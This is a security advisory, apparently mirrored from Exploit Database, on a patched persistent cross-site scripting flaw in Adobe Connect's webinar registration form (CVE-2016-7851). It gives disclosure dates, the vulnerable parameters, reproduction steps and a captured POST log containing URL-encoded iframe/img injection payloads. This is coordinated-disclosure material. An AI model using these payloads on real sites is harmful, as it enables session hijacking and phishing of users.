Adobe Connect 9.5.7 – Cross-Site Scripting

Exploit Database
110 阅读

作者： Vulnerability-Lab

日期： 2016-11-09
类别：
- webapps
平台：
- windows
来源：https://www.exploit-db.com/exploits/40742/

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Document Title:

===============

Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability

References (Source):

====================

http://www.vulnerability-lab.com/get_content.php?id=1838

Security ID: PSIRT-5180

Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851

Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi

CVE-ID:

=======

CVE-2016-7851

Release Date:

=============

2016-11-09

Vulnerability Laboratory ID (VL-ID):

====================================

1838

Common Vulnerability Scoring System:

====================================

3.7

Product & Service Introduction:

===============================

Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,

chances are that it was touched by Adobe technology. Our tools and services enable our customers to create

groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it

based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,

we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.

(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.

Vulnerability Disclosure Timeline:

==================================

2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)

2016-04-28: Vendor Notification (PSIRT Adobe Security Team)

2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)

2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)

2016-11-08: Security Acknowledgements (Adobe Security Team)

2016-11-09: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

Adobe Systems

Product: Adobe Connect - Online Service (Web-Application) 2016 Q2

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Medium

Technical Details & Description:

================================

An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.

The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.

The vulnerability is located in the <code>firstname</code>,<code>lastname</code> and <code>companyname</code> parameter of the <code>event_registration.html</code> file submit POST method request.

Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events

service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as

well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials

which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe

connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.

Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources

and persistent manipulation of affected or connected service module context.

Request Method(s): Inject

[+] POST

Vulnerable Module(s):

[+] Events - Webinar Registration Form

Vulnerable File(s):

[+] event_registration.html

Vulnerable Parameter(s):

[+] firstname

[+] lastname

[+] companyname

Affected Module(s):

[+](admin@adobeconnect.com)

Proof of Concept (PoC):

=======================

The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...

1.Open your mailbox and click to the portals webinar email for administrators

2.Surf to the signup registration of adobe connect next to the events reck

3.Inject to the firstname, lastname and companyname your own script code payload

4.Submit the POST request to get activated for the webinar to hackerone via adobe connect

5.Check the local input of the registered account

6.The script code payloads of the name values are replied by the email service without secure encode

Note: The execution of the payloads occurs directly after the arrival and view

7.Now choose in the email the link to the webinar that is connected to the name values

8.Join the channel and write a message for interaction

9.The code executes in several sections of the webinar adobe connect events service with persistent vector

10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!

PoC: event_registration.html

<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p>

</div>

--- PoC Session Logs [POST] ---

Status: 200[OK]

POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051

Mime Type[text/html]

Request Header:

Host[events-na1.adobeconnect.com]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Accept-Encoding[gzip, deflate, br]

Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]

Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]

Connection[keep-alive]

POST-Daten:

2159915054[Yes]

2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]

2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]

2159915057[adasfaf+asfasdfasfasfasdfsdfs]

first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]

last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]

campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]

sco-id[2159915051]

reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]

reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]

action[event-register]

_charset_[UTF-8]

login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]

set-lang[en]

reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]

Response Header:

Connection[Keep-Alive]

Server[Day-Servlet-Engine/4.1.24]

Content-Type[text/html;charset=UTF-8]

Date[Wed, 27 Apr 2016 08:56:07 GMT]

Transfer-Encoding[chunked]

Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect